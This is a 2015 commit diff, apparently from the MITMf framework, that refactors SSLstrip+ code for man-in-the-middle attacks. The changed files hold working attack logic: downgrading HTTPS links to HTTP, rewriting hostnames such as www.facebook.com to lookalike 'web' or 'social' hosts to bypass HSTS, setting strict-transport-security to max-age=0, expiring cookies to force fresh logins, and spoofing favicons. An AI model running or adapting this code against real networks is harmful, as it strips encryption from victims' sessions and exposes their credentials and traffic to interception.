- Cleaned up the SSLstrip+ code (somewhat)

- ServerConnection now properly detects and removes HSTS headers
- Fixed debug output
This commit is contained in:
byt3bl33d3r 2015-03-13 15:00:29 +01:00
parent c85fd2b5f3
commit 2200edcf5e
6 changed files with 76 additions and 131 deletions

View file

@ -227,7 +227,6 @@
accounts.google.se = cuentas.google.se accounts.google.se = cuentas.google.se
#for facebook #for facebook
www.facebook.com = social.facebook.com
facebook.com = social.facebook.com facebook.com = social.facebook.com
#-----------------------------------------------------------------------------------------------------------------------------------------# #-----------------------------------------------------------------------------------------------------------------------------------------#

View file

@ -57,14 +57,13 @@ class ClientRequest(Request):
def cleanHeaders(self): def cleanHeaders(self):
headers = self.getAllHeaders().copy() headers = self.getAllHeaders().copy()
#for k,v in headers.items():
# logging.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v))
if 'accept-encoding' in headers: if 'accept-encoding' in headers:
headers['accept-encoding'] == 'identity' headers['accept-encoding'] == 'identity'
logging.debug("Zapped encoding") logging.debug("Zapped encoding")
if 'strict-transport-security' in headers: #kill new hsts requests
del headers['strict-transport-security']
logging.info("Zapped HSTS header")
if 'if-modified-since' in headers: if 'if-modified-since' in headers:
del headers['if-modified-since'] del headers['if-modified-since']
@ -80,13 +79,16 @@ class ClientRequest(Request):
if len(real) > 0: if len(real) > 0:
dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys())))
headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer'])
if 'host' in headers: if 'host' in headers:
host = self.urlMonitor.URLgetRealHost("%s" % headers['host']) host = self.urlMonitor.URLgetRealHost(headers['host'])
logging.debug("Modifing HOST header: %s -> %s" % (headers['host'],host)) if host[1] is True:
headers['host'] = host logging.debug("[ClientRequest][HSTS] Modifing HOST header: %s -> %s" % (headers['host'],host[0]))
headers['securelink'] = '1' headers['host'] = host[0]
self.setHeader('Host',host) headers['securelink'] = '1'
self.setHeader('Host',host[0])
else:
logging.debug("[ClientRequest][HSTS] Passed on HOST header: %s " % headers['host'])
self.plugins.hook() self.plugins.hook()
@ -116,18 +118,14 @@ class ClientRequest(Request):
headers = self.cleanHeaders() headers = self.cleanHeaders()
client = self.getClientIP() client = self.getClientIP()
path = self.getPathFromUri() path = self.getPathFromUri()
url = 'http://' + host + path
self.uri = url # set URI to absolute
try: if self.content:
self.content.seek(0,0) self.content.seek(0,0)
postData = self.content.read() postData = self.content.read()
except:
pass
if self.hsts: if self.hsts:
#Original code from SSLstrip+
#Saying that this is unreadible is an understatement
#KILL IT WITH FIRE!!
real = self.urlMonitor.real real = self.urlMonitor.real
patchDict = self.urlMonitor.patchDict patchDict = self.urlMonitor.patchDict
@ -136,67 +134,41 @@ class ClientRequest(Request):
dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys())))
path = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), path) path = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), path)
postData = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), postData) postData = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), postData)
if len(patchDict)>0:
if len(patchDict) > 0:
dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys())))
postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData) postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData)
url = 'http://' + host + path
headers['content-length'] = "%d" % len(postData) headers['content-length'] = "%d" % len(postData)
#self.dnsCache.cacheResolution(host, address) #self.dnsCache.cacheResolution(host, address)
hostparts = host.split(':') hostparts = host.split(':')
self.dnsCache.cacheResolution(hostparts[0], address) self.dnsCache.cacheResolution(hostparts[0], address)
if (not self.cookieCleaner.isClean(self.method, client, host, headers)): if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
logging.debug("Sending expired cookies...") logging.debug("Sending expired cookies...")
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path))
host, headers, path))
elif (self.urlMonitor.isSecureFavicon(client, path)): elif (self.urlMonitor.isSecureFavicon(client, path)):
logging.debug("Sending spoofed favicon response...") logging.debug("Sending spoofed favicon response...")
self.sendSpoofedFaviconResponse() self.sendSpoofedFaviconResponse()
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
if 'securelink' in headers:
del headers['securelink']
logging.debug("LEO Sending request via SSL...(%s %s)"%(client,url))
self.proxyViaSSL(address, self.method, path, postData, headers,
self.urlMonitor.getSecurePort(client, url))
else:
logging.debug("LEO Sending request via HTTP...")
#self.proxyViaHTTP(address, self.method, path, postData, headers)
port = 80
if len(hostparts) > 1:
port = int(hostparts[1])
self.proxyViaHTTP(address, self.method, path, postData, headers, port) elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
if 'securelink' in headers:
del headers['securelink']
logging.debug("Sending request via SSL...(%s %s)" % (client,url))
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
else: else:
logging.debug("Sending request via HTTP...")
url = 'http://' + host + path #self.proxyViaHTTP(address, self.method, path, postData, headers)
self.uri = url # set URI to absolute port = 80
if len(hostparts) > 1:
port = int(hostparts[1])
#self.dnsCache.cacheResolution(host, address) self.proxyViaHTTP(address, self.method, path, postData, headers, port)
hostparts = host.split(':')
self.dnsCache.cacheResolution(hostparts[0], address)
if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
logging.debug("Sending expired cookies...")
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client,
host, headers, path))
elif (self.urlMonitor.isSecureFavicon(client, path)):
logging.debug("Sending spoofed favicon response...")
self.sendSpoofedFaviconResponse()
elif (self.urlMonitor.isSecureLink(client, url)):
logging.debug("Sending request via SSL...")
self.proxyViaSSL(address, self.method, path, postData, headers,
self.urlMonitor.getSecurePort(client, url))
else:
logging.debug("Sending request via HTTP...")
#self.proxyViaHTTP(address, self.method, path, postData, headers)
port = 80
if len(hostparts) > 1:
port = int(hostparts[1])
self.proxyViaHTTP(address, self.method, path, postData, headers, port)
def handleHostResolvedError(self, error): def handleHostResolvedError(self, error):
logging.warning("Host resolution error: " + str(error)) logging.warning("Host resolution error: " + str(error))
@ -223,13 +195,13 @@ class ClientRequest(Request):
real = self.urlMonitor.real real = self.urlMonitor.real
if 'wwww' in host: if 'wwww' in host:
logging.debug("Resolving %s for HSTS bypass (Twisted)" % (host)) logging.info("%s Resolving %s for HSTS bypass (Twisted)" % (self.getClientIP(), host))
host = host[1:] host = host[1:]
elif 'web' in host: elif 'web' in host:
logging.debug("Resolving %s for HSTS bypass (Twisted)" % (host)) logging.info("%s Resolving %s for HSTS bypass (Twisted)" % (self.getClientIP(), host))
host = host[3:] host = host[3:]
elif host in real: elif host in real:
logging.debug("Resolving %s for HSTS bypass (Twisted)" % (host)) logging.info("%s Resolving %s for HSTS bypass (Twisted)" % (self.getClientIP(), host))
host = real[host] host = real[host]
hostparts = host.split(':') hostparts = host.split(':')

View file

@ -52,14 +52,14 @@ class SSLServerConnection(ServerConnection):
for v in values: for v in values:
if v[:7].lower()==' domain': if v[:7].lower()==' domain':
dominio=v.split("=")[1] dominio=v.split("=")[1]
logging.debug("LEO Parsing cookie domain parameter: %s"%v) logging.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v)
real = self.urlMonitor.sustitucion real = self.urlMonitor.sustitucion
if dominio in real: if dominio in real:
v=" Domain=%s"%real[dominio] v=" Domain=%s"%real[dominio]
logging.debug("LEO New cookie domain parameter: %s"%v) logging.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v)
newvalues.append(v) newvalues.append(v)
value = ';'.join(newvalues) value = ';'.join(newvalues)
if (key.lower() == 'access-control-allow-origin'): if (key.lower() == 'access-control-allow-origin'):
value='*' value='*'

View file

@ -109,6 +109,8 @@ class ServerConnection(HTTPClient):
self.client.setResponseCode(int(code), message) self.client.setResponseCode(int(code), message)
def handleHeader(self, key, value): def handleHeader(self, key, value):
logging.debug("[ServerConnection] Receiving header: (%s => %s)" % (key, value))
if (key.lower() == 'location'): if (key.lower() == 'location'):
value = self.replaceSecureLinks(value) value = self.replaceSecureLinks(value)
@ -121,21 +123,22 @@ class ServerConnection(HTTPClient):
if (value.find('gzip') != -1): if (value.find('gzip') != -1):
logging.debug("Response is compressed...") logging.debug("Response is compressed...")
self.isCompressed = True self.isCompressed = True
#if (key.lower() == 'strict-transport-security'): elif (key.lower()== 'strict-transport-security'):
# value = 'max-age=0' value="max-age=0"
logging.info("Zapped a strict-trasport-security header")
elif (key.lower() == 'content-length'): elif (key.lower() == 'content-length'):
self.contentLength = value self.contentLength = value
elif (key.lower() == 'set-cookie'): elif (key.lower() == 'set-cookie'):
self.client.responseHeaders.addRawHeader(key, value) self.client.responseHeaders.addRawHeader(key, value)
else: else:
self.client.setHeader(key, value) self.client.setHeader(key, value)
self.plugins.hook() self.plugins.hook()
logging.debug("Receiving header: (%s => %s)" % (key, value))
def handleEndHeaders(self): def handleEndHeaders(self):
if (self.isImageRequest and self.contentLength != None): if (self.isImageRequest and self.contentLength != None):
self.client.setHeader("Content-Length", self.contentLength) self.client.setHeader("Content-Length", self.contentLength)
@ -185,12 +188,9 @@ class ServerConnection(HTTPClient):
def replaceSecureLinks(self, data): def replaceSecureLinks(self, data):
if self.hsts: if self.hsts:
#Original code from SSLstrip+
#Saying that this is unreadible is an understatement
#KILL IT WITH FIRE!!
sustitucion = {} sustitucion = {}
patchDict = self.urlMonitor.patchDict patchDict = self.urlMonitor.patchDict
if len(patchDict)>0: if len(patchDict)>0:
dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys())))
data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data) data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data)
@ -199,9 +199,9 @@ class ServerConnection(HTTPClient):
for match in iterator: for match in iterator:
url = match.group() url = match.group()
logging.debug("Found secure reference: " + url) logging.debug("[ServerConnection] Found secure reference: " + url)
nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
logging.debug("LEO replacing %s => %s"%(url,nuevaurl)) logging.debug("[ServerConnection][HSTS] Replacing %s => %s"%(url,nuevaurl))
sustitucion[url] = nuevaurl sustitucion[url] = nuevaurl
#data.replace(url,nuevaurl) #data.replace(url,nuevaurl)
@ -210,11 +210,11 @@ class ServerConnection(HTTPClient):
dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys()))) dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys())))
data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data)
#logging.debug("LEO DEBUG received data:\n"+data) #logging.debug("HSTS DEBUG received data:\n"+data)
#data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data) #data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data)
#data = re.sub(ServerConnection.urlTypewww, 'http://w', data) #data = re.sub(ServerConnection.urlTypewww, 'http://w', data)
#if data.find("http://w.face")!=-1: #if data.find("http://w.face")!=-1:
# logging.debug("LEO DEBUG Found error in modifications") # logging.debug("HSTS DEBUG Found error in modifications")
# raw_input("Press Enter to continue") # raw_input("Press Enter to continue")
#return re.sub(ServerConnection.urlType, 'http://web.', data) #return re.sub(ServerConnection.urlType, 'http://web.', data)
return data return data

View file

@ -30,12 +30,12 @@ class URLMonitor:
javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
_instance = None _instance = None
sustitucion = {} # LEO: diccionario host / sustitucion sustitucion = {} # LEO: diccionario host / sustitucion
real = {} # LEO: diccionario host / real real = {} # LEO: diccionario host / real
patchDict = { patchDict = {
'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net', 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net',
'https:\/\/www.facebook.com':'http:\/\/social.facebook.com', 'https:\/\/www.facebook.com':'http:\/\/social.facebook.com',
'return"https:"':'return"http:"' 'return"https:"':'return"http:"'
} }
def __init__(self): def __init__(self):
self.strippedURLs = set() self.strippedURLs = set()
@ -52,32 +52,6 @@ class URLMonitor:
return (client,url) in self.strippedURLs return (client,url) in self.strippedURLs
def writeClientLog(self, client, headers, message):
'''
This isn't used for now.. the point was to log every clients
data to a seperate file
Don't see how useful it could be though
'''
if not os.path.exists("./logs"):
os.makedirs("./logs")
if (client.getClientIP() + '.log') not in os.listdir("./logs"):
try:
log_message = "#Log file for %s (%s)\n" % (client.getClientIP(), headers['user-agent'])
except KeyError:
log_message = "#Log file for %s\n" % client.getClientIP()
log_file = open("./logs/" + client.getClientIP() + ".log", 'a')
log_file.write(log_message + message + "\n")
log_file.close()
else:
log_file = open("./logs/" + client.getClientIP() + ".log", 'a')
log_file.write(message + "\n")
log_file.close()
def getSecurePort(self, client, url): def getSecurePort(self, client, url):
if (client,url) in self.strippedURLs: if (client,url) in self.strippedURLs:
return self.strippedURLPorts[(client,url)] return self.strippedURLPorts[(client,url)]
@ -115,7 +89,6 @@ class URLMonitor:
port = 443 port = 443
if self.hsts: if self.hsts:
#LEO: Sustituir HOST
if not self.sustitucion.has_key(host): if not self.sustitucion.has_key(host):
lhost = host[:4] lhost = host[:4]
if lhost=="www.": if lhost=="www.":
@ -124,14 +97,15 @@ class URLMonitor:
else: else:
self.sustitucion[host] = "web"+host self.sustitucion[host] = "web"+host
self.real["web"+host] = host self.real["web"+host] = host
logging.debug("LEO: ssl host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) logging.debug("[URLMonitor][HSTS] SSL host (%s) tokenized (%s)" % (host,self.sustitucion[host]) )
url = 'http://' + host + path url = 'http://' + host + path
#logging.debug("LEO stripped URL: %s %s"%(client, url)) #logging.debug("HSTS stripped URL: %s %s"%(client, url))
self.strippedURLs.add((client, url)) self.strippedURLs.add((client, url))
self.strippedURLPorts[(client, url)] = int(port) self.strippedURLPorts[(client, url)] = int(port)
return 'http://'+self.sustitucion[host]+path
return 'http://'+ self.sustitucion[host] + path
else: else:
url = method + host + path url = method + host + path
@ -167,13 +141,13 @@ class URLMonitor:
return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
def URLgetRealHost(self,host): def URLgetRealHost(self,host):
logging.debug("Parsing host: %s"%host) logging.debug("[URLMonitor][HSTS]Parsing host: %s"%host)
if self.real.has_key(host): if self.real.has_key(host):
logging.debug("New host: %s"%self.real[host]) logging.debug("[URLMonitor][HSTS]New host: %s"%self.real[host])
return self.real[host] return (self.real[host], True)
else: else:
logging.debug("New host: %s"%host) logging.debug("[URLMonitor][HSTS]New host: %s"%host)
return host return (host, False)
def getInstance(): def getInstance():
if URLMonitor._instance == None: if URLMonitor._instance == None:

View file

@ -476,4 +476,4 @@ class _DNS():
payload.accept() payload.accept()
except Exception, e: except Exception, e:
print "Exception occurred while modifying DNS: " + str(e) print "Exception occurred while modifying DNS: " + str(e)